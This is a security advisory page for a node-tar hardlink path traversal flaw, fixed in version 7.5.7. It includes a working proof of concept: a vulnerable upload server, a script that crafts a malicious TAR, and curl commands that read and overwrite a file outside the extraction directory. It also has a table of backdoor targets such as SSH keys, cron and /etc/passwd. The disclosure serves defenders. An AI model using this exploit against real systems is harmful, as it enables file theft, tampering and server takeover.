node-tar Vulnerable to Arbitrary File Creation/Overwrite via Hardlink Path Traversal
Summary
node-tar contains a vulnerability where the security check for hardlink entries uses different path resolution semantics than the actual hardlink creation logic. This mismatch allows an attacker to craft a malicious TAR archive that bypasses path traversal protections and creates hardlinks to arbitrary files outside the extraction directory.
Details
The vulnerability exists in lib/unpack.js. When extracting a hardlink, two functions handle the linkpath differently:
Security check in [STRIPABSOLUTEPATH]:
const entryDir = path.posix.dirname(entry.path);
const resolved = path.posix.normalize(path.posix.join(entryDir, linkpath));
if (resolved.startsWith('../')) { /* block */ }Hardlink creation in [HARDLINK]:
const linkpath = path.resolve(this.cwd, entry.linkpath);
fs.linkSync(linkpath, dest);Example: An application extracts a TAR using tar.extract({ cwd: '/var/app/uploads/' }). The TAR contains entry a/b/c/d/x as a hardlink to ../../../../etc/passwd.
-
Security check resolves the linkpath relative to the entry's parent directory:
a/b/c/d/ + ../../../../etc/passwd=etc/passwd. No../prefix, so it passes. -
Hardlink creation resolves the linkpath relative to the extraction directory (
this.cwd):/var/app/uploads/ + ../../../../etc/passwd=/etc/passwd. This escapes to the system's/etc/passwd.
The security check and hardlink creation use different starting points (entry directory a/b/c/d/ vs extraction directory /var/app/uploads/), so the same linkpath can pass validation but still escape. The deeper the entry path, the more levels an attacker can escape.
PoC
Setup
Create a new directory with these files:
poc/
├── package.json
├── secret.txt ← sensitive file (target)
├── server.js ← vulnerable server
├── create-malicious-tar.js
├── verify.js
└── uploads/ ← created automatically by server.js
└── (extracted files go here)package.json
{ "dependencies": { "tar": "^7.5.0" } }secret.txt (sensitive file outside uploads/)
DATABASE_PASSWORD=supersecret123server.js (vulnerable file upload server)
const http = require('http');
const fs = require('fs');
const path = require('path');
const tar = require('tar');
const PORT = 3000;
const UPLOAD_DIR = path.join(__dirname, 'uploads');
fs.mkdirSync(UPLOAD_DIR, { recursive: true });
http.createServer((req, res) => {
if (req.method === 'POST' && req.url === '/upload') {
const chunks = [];
req.on('data', c => chunks.push(c));
req.on('end', async () => {
fs.writeFileSync(path.join(UPLOAD_DIR, 'upload.tar'), Buffer.concat(chunks));
await tar.extract({ file: path.join(UPLOAD_DIR, 'upload.tar'), cwd: UPLOAD_DIR });
res.end('Extracted\n');
});
} else if (req.method === 'GET' && req.url === '/read') {
// Simulates app serving extracted files (e.g., file download, static assets)
const targetPath = path.join(UPLOAD_DIR, 'd', 'x');
if (fs.existsSync(targetPath)) {
res.end(fs.readFileSync(targetPath));
} else {
res.end('File not found\n');
}
} else if (req.method === 'POST' && req.url === '/write') {
// Simulates app writing to extracted file (e.g., config update, log append)
const chunks = [];
req.on('data', c => chunks.push(c));
req.on('end', () => {
const targetPath = path.join(UPLOAD_DIR, 'd', 'x');
if (fs.existsSync(targetPath)) {
fs.writeFileSync(targetPath, Buffer.concat(chunks));
res.end('Written\n');
} else {
res.end('File not found\n');
}
});
} else {
res.end('POST /upload, GET /read, or POST /write\n');
}
}).listen(PORT, () => console.log(`http://localhost:${PORT}`));create-malicious-tar.js (attacker creates exploit TAR)
const fs = require('fs');
function tarHeader(name, type, linkpath = '', size = 0) {
const b = Buffer.alloc(512, 0);
b.write(name, 0); b.write('0000644', 100); b.write('0000000', 108);
b.write('0000000', 116); b.write(size.toString(8).padStart(11, '0'), 124);
b.write(Math.floor(Date.now()/1000).toString(8).padStart(11, '0'), 136);
b.write(' ', 148);
b[156] = type === 'dir' ? 53 : type === 'link' ? 49 : 48;
if (linkpath) b.write(linkpath, 157);
b.write('ustar\x00', 257); b.write('00', 263);
let sum = 0; for (let i = 0; i < 512; i++) sum += b[i];
b.write(sum.toString(8).padStart(6, '0') + '\x00 ', 148);
return b;
}
// Hardlink escapes to parent directory's secret.txt
fs.writeFileSync('malicious.tar', Buffer.concat([
tarHeader('d/', 'dir'),
tarHeader('d/x', 'link', '../secret.txt'),
Buffer.alloc(1024)
]));
console.log('Created malicious.tar');Run
# Setup
npm install
echo "DATABASE_PASSWORD=supersecret123" > secret.txt
# Terminal 1: Start server
node server.js
# Terminal 2: Execute attack
node create-malicious-tar.js
curl -X POST --data-binary @malicious.tar http://localhost:3000/upload
# READ ATTACK: Steal secret.txt content via the hardlink
curl http://localhost:3000/read
# Returns: DATABASE_PASSWORD=supersecret123
# WRITE ATTACK: Overwrite secret.txt through the hardlink
curl -X POST -d "PWNED" http://localhost:3000/write
# Confirm secret.txt was modified
cat secret.txtImpact
An attacker can craft a malicious TAR archive that, when extracted by an application using node-tar, creates hardlinks that escape the extraction directory. This enables:
Immediate (Read Attack): If the application serves extracted files, attacker can read any file readable by the process.
Conditional (Write Attack): If the application later writes to the hardlink path, it modifies the target file outside the extraction directory.
Remote Code Execution / Server Takeover
| Attack Vector | Target File | Result |
|---|---|---|
| SSH Access | ~/.ssh/authorized_keys |
Direct shell access to server |
| Cron Backdoor | /etc/cron.d/*, ~/.crontab |
Persistent code execution |
| Shell RC Files | ~/.bashrc, ~/.profile |
Code execution on user login |
| Web App Backdoor | Application .js, .php, .py files |
Immediate RCE via web requests |
| Systemd Services | /etc/systemd/system/*.service |
Code execution on service restart |
| User Creation | /etc/passwd (if running as root) |
Add new privileged user |
Data Exfiltration & Corruption
- Overwrite arbitrary files via hardlink escape + subsequent write operations
- Read sensitive files by creating hardlinks that point outside extraction directory
- Corrupt databases and application state
- Steal credentials from config files,
.env, secrets
Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| npm package | tar | < 7.5.7 | 7.5.7 |
References
- CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N- Weakness (CWE)
CWE-22, CWE-59- Platform
- npm
- Package
tar- Disclosed
- 28.01.2026
- Updated
- 11.10.2026 10:22
Sources and licenses
OSV / GitHub Advisory Database - GHSA-34x7-hfp2-rc4v - CC BY 4.0
Vulnerability history: tar
All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 21
- First → latest
- 10.2017 07.2026
- Without a fix
- 0
- Exploited in attacks
- 0
Severity breakdown
- Critical 1
- High 15
- Medium 5
Disclosures per year
- 2017: 1
- 2018: 0
- 2019: 1
- 2020: 0
- 2021: 5
- 2022: 0
- 2023: 0
- 2024: 1
- 2025: 1
- 2026: 12
-
node-tar Vulnerable to Arbitrary File Creation/Overwrite via Hardlink Path Traversal this entry
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